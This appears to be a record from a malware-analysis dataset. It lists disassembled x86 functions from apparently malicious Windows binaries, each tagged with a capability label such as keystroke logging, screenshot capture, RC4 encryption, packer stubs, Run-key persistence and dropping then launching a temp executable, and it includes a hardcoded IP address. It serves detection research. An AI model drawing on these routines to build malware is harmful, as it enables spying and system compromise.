joyce8/EMBER2024-capa huggingface dataset:
Function at 0x461910
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x461959
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x461dd0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4ace40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00461980
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00461a00
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00461a00
lea ecx, [esi + 0xc]
call fcn.0049df9e
lea ecx, [esi + 0x10]
call fcn.0049df9e
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00462f90
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00462f90
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00462f90
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0049e013
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0049e013
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x463180
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4631e6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4631e6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4631c7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret
Function at 0x469f20
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x13c]
push edi
test eax, eax
jle 0x469f6c
mov eax, dword [ebx + 0x140]
test eax, eax
jle 0x469f6c
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
lea edi, [ebx + 0x150]
mov eax, dword [edi]
test eax, eax
je 0x469f56
push eax
call ebp
test ax, ax
jl 0x469f64
inc esi
add edi, 4
cmp esi, 6
jb 0x469f48
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
mov ecx, ebx
call fcn.00469c20
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x46db40
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x46dba0
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x46dba0
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x46dba0
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x46dba0
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x46dbb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret

Function at 0x46dbc0
Capabilities:
Capture screenshot
Check for time delay via gettickcount

Disassembly:
push 0xffffffffffffffff
push 0x4ad6e8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x1c]
push eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
mov dword [esp + 0x3c], edi
call fcn.00433290
push eax
push edi
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
mov ebp, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push edi
call ebp
push edi
mov ebx, eax
call ebp
mov ebp, eax
mov dword [esi + 0xa4], edi
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], 0
mov eax, dword [esi + 0xc4]
test eax, eax
je 0x46dc31
mov eax, dword [esi + 0xc4]
test eax, eax
jne 0x46dc27
mov dword [esi + 0xc4], 1
mov eax, dword [esi + 0xc0]
test eax, eax
jne 0x46dcf9
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0xd4]
push ecx
push edx
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push ebp
mov ebp, dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0xc0], eax
call ebp
mov dword [esp + 0x1c], eax
mov eax, dword [esi + 0xdc]
push eax
lea ecx, [esp + 0x50]
call fcn.004a4d1d
mov edx, dword [esp + 0x50]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x4c]
neg eax
sbb eax, eax
and eax, edx
push eax
push ecx
call ebp
mov edx, dword [esi + 0xd8]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
mov eax, dword [esi + 0xd4]
push 0xf00021
push edx
push eax
push 0
push 0
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x10]
push edx
push eax
call ebp
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
push ecx
push edx
call ebp
mov dword [esp + 0x4c], 0x5ef2a8
lea ecx, [esp + 0x4c]
mov dword [esp + 0x5c], 0
call fcn.004a4cb7
mov dword [esp + 0x5c], 0xffffffff
jmp 0x46dcff
mov ebp, dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0xc4], 0
mov dword [esi + 0x84], 4
mov eax, dword [esi + 0xbc]
cmp eax, 1
je 0x46e109
Function at 0x471d70
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x10
lea eax, [esp]
push esi
mov esi, dword [esp + 0x18]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [esi]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
push eax
mov dword [esi + 4], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 1
push eax
mov dword [esi + 8], eax
call dword [sym.imp.GDI32.dll_SetBkMode]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x471dba
push eax
mov eax, dword [esi + 8]
mov dword [esi + 0x18], 0
push eax
jmp 0x471de9
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
sub ecx, eax
mov eax, dword [esi + 4]
push ecx
mov ecx, dword [esp + 8]
mov dword [esi + 0x18], 1
sub edx, ecx
push edx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esi + 8]
push eax
mov dword [esi + 0x10], eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
cmp eax, 1
jne 0x471e2b
mov edx, dword [esi + 4]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push 0xcc0020
push 0
push 0
push edx
mov edx, dword [esp + 0x18]
sub eax, edx
mov edx, dword [esp + 0x14]
sub ecx, edx
mov edx, dword [esi + 8]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 8]
pop esi
add esp, 0x10
ret 4
Function at 0x477900
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x68a2bc]
xor edx, edx
cmp eax, edx
jne 0x477926
xor eax, eax
mov byte [eax + 0x68a1bc], al
inc eax
cmp eax, 0x100
jl 0x47790e
mov dword [0x68a2bc], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x68a1bc
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4779b7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x47798a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x477958
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x477a30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x477a83
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x477a6a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x47e400
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4ad91e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.0047ed20
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x5f0054
call fcn.0049dd54
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x47e493
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0049dd54
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x47e48c
push 0
mov ecx, eax
call fcn.00475530
mov dword [esi + 0xc], eax
jmp 0x47e495
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x47e495
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4a03b7
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4a03ef
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0049e46e
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0049e446
jmp 0x4a03fb
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4a1aa5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4a1ae7
call fcn.004a77ef
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4a1ae7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4a1ade
xor eax, eax
jmp 0x4a1aef
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004a1af5
pop edi
pop esi
pop ebx
ret 4

Function at 0x4a7d1f
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a7d4d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4a7d6b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a7c85
jmp 0x4a7d6b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a7d6b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a7c85
test edi, edi
mov eax, edi
jne 0x4a7d55
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x435037
Capabilities:
Packed with generic packer

Disassembly:
pushal
call 0x43503d
pop eax
sub eax, 0x3d
push eax
lea edi, [eax - 0x34000]
push edi
add word [edi + 0x33aac], 0
lea esi, [eax + 0x1f0]
or ebp, 0xffffffff
xor ebx, ebx
nop
nop
nop
jmp 0x43506a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x435075
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x435064
mov eax, 1
add ebx, ebx
jne 0x435087
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
ja 0x43507c
jne 0x435098
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43507c
xor ecx, ecx
sub eax, 3
jb 0x435106
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x435122
mov ebp, eax
add ebx, ebx
jne 0x4350b7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4350c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4350e8
inc ecx
add ebx, ebx
jne 0x4350d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
ja 0x4350c9
jne 0x4350e5
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4350c9
add ecx, 2
cmp eax, 0xfffff300
adc ecx, 1
lea edx, [edi + eax]
cmp eax, 0xfffffffc
jle 0x43510c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4350f8
jmp 0x43506a
mov eax, ebp
jmp 0x4350ac
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43510c
add edi, ecx
jmp 0x43506a
pop esi
pop ebp
sub edi, dword [edi - 4]
push edi
lea edi, [esi]
mov ecx, 0xe7d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x435133
cmp byte [edi], 9
jne 0x435133
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x435138
pop edi
mov eax, dword [edi]
or eax, eax
je 0x43519d
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x33000]
add ebx, esi
push eax
add edi, 8
call dword [ebp]
xchg edx, eax
mov al, byte [edi]
inc edi
or al, al
je 0x435160
push edx
mov ecx, edi
jns 0x43518d
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push edx
call dword [ebp + 4]
pop edx
mov dword [ebx], eax
add ebx, 4
jmp 0x43517a
lea ebx, [esi - 4]
add edi, 4
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4351ce
cmp al, 0xef
ja 0x4351c1
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4351a3
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4351b0
popal
jmp 0x417aa4
Function at 0x401000
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call fcn.00402780
mov edi, 0x200
push edi
xor ebx, ebx
lea eax, [esi + 4]
push ebx
push eax
call fcn.004155b0
push edi
lea eax, [esi + 0x204]
push ebx
push eax
call fcn.004155b0
mov edi, 0x80
push edi
lea eax, [esi + 0x408]
push ebx
push eax
call fcn.004155b0
push edi
lea eax, [esi + 0x488]
push ebx
push eax
call fcn.004155b0
push edi
lea eax, [esi + 0x50a]
push ebx
push eax
call fcn.004155b0
add esp, 0x3c
push 8
pop ecx
xor eax, eax
push 8
lea edi, [esi + 0x58c]
rep stosd dword es:[edi], eax
pop ecx
lea edi, [esi + 0x9bc]
rep stosd dword es:[edi], eax
lea eax, [esi + 0x5ac]
push eax
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [esi + 0x7b4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x401140
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x19c]
sub esp, 0x21c
mov eax, dword [0x433c20]
xor eax, ebp
mov dword [ebp + 0x198], eax
push esi
push edi
xor eax, eax
xor edi, edi
push 0x206
mov word [ebp - 0x70], ax
lea eax, [ebp - 0x6e]
mov esi, ecx
push edi
push eax
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], edi
call fcn.004155b0
add esp, 0xc
mov dword [ebp - 0x74], edi
cmp esi, edi
je 0x401239
cmp ebx, edi
je 0x401239
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x401197
sub eax, edx
sar eax, 1
je 0x401239
cmp dword [ebp + 0x1a8], edi
jne 0x4011e2
mov eax, dword [ebp + 0x1a4]
cmp dword [eax], 3
jne 0x4011e2
mov esi, 0x104
push esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42c800
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.00413190
add esp, 0xc
jmp 0x4011f2
lea eax, [ebp - 0x70]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.00413190
push 0x42c804
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004132d3
add esp, 0x18
cmp dword [ebp - 0x74], edi
je 0x401239
push dword [ebp - 0x74]
xor esi, esi
inc esi
push esi
push 0x200
push dword [ebp - 0x7c]
call fcn.004135c6
push dword [ebp - 0x74]
call fcn.0041365a
add esp, 0x14
mov dword [ebp - 0x78], esi
mov ecx, dword [ebp + 0x198]
mov eax, dword [ebp - 0x78]
pop edi
xor ecx, ebp
pop esi
call fcn.00413181
add ebp, 0x19c
leave
ret 8

Function at 0x401255
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, 0x104
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42c800
push esi
push dword [esp + 0x10]
call fcn.00413190
add esp, 0xc
pop esi
ret 4
Function at 0x4012e4
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x433c20]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
xor esi, esi
call fcn.004155b0
add esp, 0xc
test edi, edi
je 0x4013aa
and dword [ebp - 0x7c], esi
mov ecx, 0x42c80c
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x40132f
sub eax, esi
sar eax, 1
je 0x401353
push 0x42c810
push ecx
lea eax, [ebp - 0x7c]
push eax
call fcn.004132d3
add esp, 0xc
jmp 0x401387
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42c7cc
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00413190
push 0x42c810
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.004132d3
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x7c], 0
je 0x4013aa
push dword [ebp - 0x7c]
push esi
push 0x200
push edi
call fcn.00413838
push dword [ebp - 0x7c]
call fcn.0041365a
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00413181
add ebp, 0x194
leave
ret

Function at 0x4013c2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x433c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004155b0
mov eax, dword [ebp + 8]
add esp, 0xc
cmp dword [eax], 3
lea eax, [ebp - 0x20c]
push eax
jne 0x401409
call fcn.00401255
jmp 0x401414
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00413181
leave
ret 4
Function at 0x401439
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x2d8
mov eax, dword [0x433c20]
xor eax, ebp
mov dword [ebp + 0x74], eax
push edi
xor eax, eax
xor edi, edi
push 0xc6
mov word [ebp - 0x54], ax
lea eax, [ebp - 0x52]
push edi
push eax
mov dword [ebp - 0x260], edi
call fcn.004155b0
xor eax, eax
push 0x206
mov word [ebp - 0x25c], ax
lea eax, [ebp - 0x25a]
push edi
push eax
call fcn.004155b0
push str.Software_
lea eax, [ebp - 0x54]
push 0x64
push eax
call fcn.004138ba
push str.Microsoft_
lea eax, [ebp - 0x54]
push 0x64
push eax
call fcn.00413190
push str.Windows_NT_
lea eax, [ebp - 0x54]
push 0x64
push eax
call fcn.00413190
push str.CurrentVersion_
lea eax, [ebp - 0x54]
push 0x64
push eax
call fcn.00413190
add esp, 0x48
push str.Windows
lea eax, [ebp - 0x54]
push 0x64
push eax
call fcn.00413190
push ebx
lea eax, [ebp - 0x25c]
push 0x104
push eax
call fcn.004138ba
add esp, 0x18
lea eax, [ebp - 0x260]
push eax
push 3
push edi
lea eax, [ebp - 0x54]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401553
lea eax, [ebp - 0x25c]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x401515
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x25c]
push eax
push 1
push edi
push 0x42c8a0
push dword [ebp - 0x260]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401553
push dword [ebp - 0x260]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
xor eax, eax
pop edi
call fcn.00413181
add ebp, 0x78
leave
ret
Function at 0x401fc3
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbe8
mov eax, dword [0x433c20]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x434fa0
call fcn.00402780
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xbe8]
call fcn.00401000
lea ecx, [ebp - 0xbe8]
call fcn.00401565
test eax, eax
je 0x402017
call fcn.004030c0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push ebx
push 0x64
push 0x437bf0
push 0x67
push edi
call esi
push 0x64
mov ebx, 0x437b28
push ebx
push 0x6d
push edi
call esi
mov eax, edi
call fcn.00402173
xor esi, esi
push esi
push edi
push esi
push esi
push esi
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x437bf0
push ebx
push esi
mov dword [0x437cb8], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
pop ebx
test eax, eax
je 0x402073
call fcn.004024a9
cmp eax, esi
jne 0x402085
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00413181
leave
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov eax, dword [0x438340]
cmp eax, esi
jbe 0x4020ba
cmp word [0x438344], si
jbe 0x4020ba
push eax
mov esi, str.218.54.31.226
call fcn.00403900
mov ax, word [0x438344]
pop ecx
mov word [0x434fbc], ax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov edi, ecx
div edi
xor edx, edx
mov edi, 0x4388b8
div ecx
push edx
push str.tmp4_X.exe
push edi
call fcn.00402759
call fcn.004039e0
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.004155b0
lea esi, [ebp - 0x20c]
call fcn.00403980
push 0x42c800
mov esi, 0x104
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00413190
push edi
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00413190
add esp, 0x30
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402169
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
xor eax, eax
push eax
push 0x42c80c
lea ecx, [ebp - 0x20c]
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00401d6e
jmp 0x40200f